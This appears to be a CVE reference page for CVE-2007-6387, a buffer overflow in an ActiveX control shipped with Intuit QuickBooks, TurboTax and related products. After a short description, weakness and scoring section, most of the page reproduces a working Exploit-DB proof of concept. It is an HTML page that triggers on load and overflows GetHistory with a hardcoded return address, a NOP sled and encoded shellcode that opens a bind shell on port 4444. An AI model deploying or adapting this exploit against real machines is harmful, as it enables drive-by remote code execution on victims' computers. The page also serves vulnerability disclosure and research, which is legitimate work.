CVE-2007-6387 Detail

CVE-2007-6387

CVE Descriptions

Multiple stack-based buffer overflows in the awApi4.AnswerWorks.1 ActiveX control in awApi4.dll 4.0.0.42, as used by Vantage Linguistics AnswerWorks, and Intuit Clearly Bookkeeping, ProSeries, QuickBooks, Quicken, QuickTax, and TurboTax, allow remote attackers to execute arbitrary code via long arguments to the (1) GetHistory, (2) GetSeedQuery, (3) SetSeedQuery, and possibly other methods. NOTE: some of these details are obtained from third party information.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-119	Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	9.3		AV:N/AC:M/Au:N/C:C/I:C/A:C	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 4825

Publication date : 2007-12-30 23h00 +00:00
Author : Elazar
EDB Verified : Yes

<html> <head> <title>Vantage Linguistics AnswerWorks 4 API ActiveX Control Buffer Overflow Exploit</title> <script language="JavaScript" defer> function Check() { var buf = 'A'; while (buf.length <= 214) buf = buf + 'A'; // win32_exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49" + "%48%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%43" + "%58%30%42%31%50%42%41%6b%42%41%53%42%32%42%41%32" + "%41%41%30%41%41%58%50%38%42%42%75%48%69%6b%4c%4d" + "%38%63%74%75%50%33%30%67%70%4c%4b%73%75%57%4c%6e" + "%6b%63%4c%45%55%63%48%33%31%58%6f%6c%4b%70%4f%77" + "%68%6e%6b%73%6f%71%30%65%51%6a%4b%72%69%4e%6b%36" + "%54%4e%6b%45%51%4a%4e%46%51%6b%70%4f%69%4c%6c%6e" + "%64%59%50%73%44%53%37%58%41%7a%6a%54%4d%33%31%78" + "%42%48%6b%7a%54%77%4b%52%74%66%44%34%44%62%55%59" + "%75%6e%6b%41%4f%36%44%45%51%6a%4b%53%56%4c%4b%46" + "%6c%72%6b%4c%4b%53%6f%37%6c%63%31%6a%4b%4e%6b%75" + "%4c%6c%4b%54%41%48%6b%4d%59%51%4c%51%34%34%44%4a" + "%63%30%31%6f%30%62%44%4e%6b%71%50%54%70%4b%35%6b" + "%70%50%78%46%6c%6c%4b%63%70%44%4c%4c%4b%44%30%35" + "%4c%6e%4d%6c%4b%61%78%55%58%6a%4b%64%49%4e%6b%6b" + "%30%6c%70%57%70%57%70%47%70%4c%4b%70%68%47%4c%71" + "%4f%44%71%6b%46%33%50%66%36%4f%79%4c%38%6e%63%4f" + "%30%71%6b%30%50%41%78%58%70%6c%4a%53%34%51%4f%33" + "%58%4e%78%39%6e%6d%5a%46%6e%61%47%4b%4f%69%77%63" + "%53%45%6a%33%6c%72%57%30%69%50%6e%62%44%70%6f%73" + "%47%41%63%41%4c%50%73%42%59%31%63%50%74%65%35%70" + "%6d%54%73%65%62%33%6c%30%63%41%71%70%6c%53%53%66" + "%4e%31%75%74%38%70%65%77%70%43"); // win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com var shellcode2 = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49" + "%49%49%49%49%49%49%49%49%49%49%37%49%51%5a%6a%43" + "%58%30%42%31%50%41%42%6b%41%41%53%41%32%41%41%32" + "%42%41%30%42%41%58%50%38%41%42%75%78%69%4b%4c%72" + "%4a%58%6b%52%6d%4a%48%4a%59%6b%4f%6b%4f%69%6f%41" + "%70%4e%6b%52%4c%74%64%41%34%6e%6b%37%35%55%6c%4c" + "%4b%71%6c%64%45%61%68%74%41%6a%4f%6e%6b%62%6f%32" + "%38%6c%4b%33%6f%37%50%55%51%78%6b%31%59%6c%4b%50" + "%34%6e%6b%46%61%68%6e%45%61%6f%30%6c%59%6c%6c%6b" + "%34%39%50%41%64%37%77%68%41%69%5a%56%6d%63%31%4b" + "%72%78%6b%6c%34%75%6b%56%34%31%34%57%58%54%35%6b" + "%55%6e%6b%33%6f%55%74%74%41%78%6b%41%76%4c%4b%46" + "%6c%62%6b%6e%6b%41%4f%35%4c%56%61%68%6b%66%63%36" + "%4c%6c%4b%6b%39%72%4c%44%64%57%6c%61%71%4f%33%47" + "%41%6b%6b%33%54%4c%4b%63%73%70%30%6c%4b%53%70%64" + "%4c%6c%4b%72%50%45%4c%4e%4d%6c%4b%37%30%75%58%73" + "%6e%42%48%4c%4e%52%6e%46%6e%58%6c%56%30%39%6f%58" + "%56%71%76%46%33%72%46%63%58%30%33%70%32%33%58%54" + "%37%52%53%45%62%51%4f%50%54%4b%4f%5a%70%33%58%6a" + "%6b%68%6d%59%6c%45%6b%46%30%49%6f%59%46%73%6f%4e" + "%69%58%65%73%56%4d%51%58%6d%36%68%64%42%72%75%72" + "%4a%67%72%59%6f%6e%30%72%48%4a%79%56%69%6b%45%6e" + "%4d%76%37%6b%4f%58%56%33%63%30%53%50%53%76%33%70" + "%53%33%73%53%63%37%33%56%33%6b%4f%5a%70%32%46%50" + "%68%35%41%71%4c%30%66%33%63%6c%49%6d%31%6a%35%70" + "%68%6e%44%35%4a%52%50%4b%77%71%47%4b%4f%4e%36%30" + "%6a%52%30%31%41%70%55%59%6f%6e%30%30%68%6c%64%4c" + "%6d%54%6e%79%79%31%47%59%6f%59%46%46%33%66%35%6b" + "%4f%58%50%63%58%4b%55%73%79%4c%46%41%59%63%67%4b" + "%4f%78%56%76%30%53%64%41%44%33%65%79%6f%4e%30%4e" + "%73%71%78%58%67%61%69%69%56%71%69%62%77%39%6f%6a" + "%76%51%45%49%6f%4e%30%51%76%53%5a%71%74%72%46%62" + "%48%30%63%30%6d%6c%49%5a%45%63%5a%62%70%76%39%31" + "%39%58%4c%4e%69%4d%37%53%5a%33%74%4e%69%4b%52%56" + "%51%4b%70%6c%33%6f%5a%49%6e%33%72%44%6d%6b%4e%37" + "%32%76%4c%6e%73%6c%4d%70%7a%76%58%6c%6b%4e%4b%4c" + "%6b%73%58%53%42%79%6e%6d%63%74%56%6b%4f%30%75%70" + "%44%4b%4f%79%46%53%6b%70%57%70%52%71%41%50%51%42" + "%71%41%7a%33%31%42%71%41%41%51%45%66%31%69%6f%5a" + "%70%50%68%6e%4d%5a%79%56%65%68%4e%33%63%39%6f%58" + "%56%63%5a%4b%4f%4b%4f%70%37%4b%4f%4a%70%4c%4b%61" + "%47%6b%4c%4d%53%6b%74%31%74%49%6f%59%46%70%52%59" + "%6f%4e%30%63%58%6c%30%6f%7a%57%74%61%4f%32%73%4b" + "%4f%68%56%39%6f%38%50%43"); var eip = unescape("%2B%1C%E1%77"); //advapi32.dll Windows XP SP2 English 0x77E11C2B call esp var nop = unescape("%90%90%90%90%90%90%90%90%90%90%90%90"); var m = buf + eip + nop + shellcode2 + nop; obj.GetHistory(m); } </script> </head> <body onload="JavaScript: return Check();"> <object id="obj" classid="clsid:C1908682-7B2C-4AB0-B98E-183649A0BF84"> Unable to create object </object> </body> </html> # milw0rm.com [2007-12-31]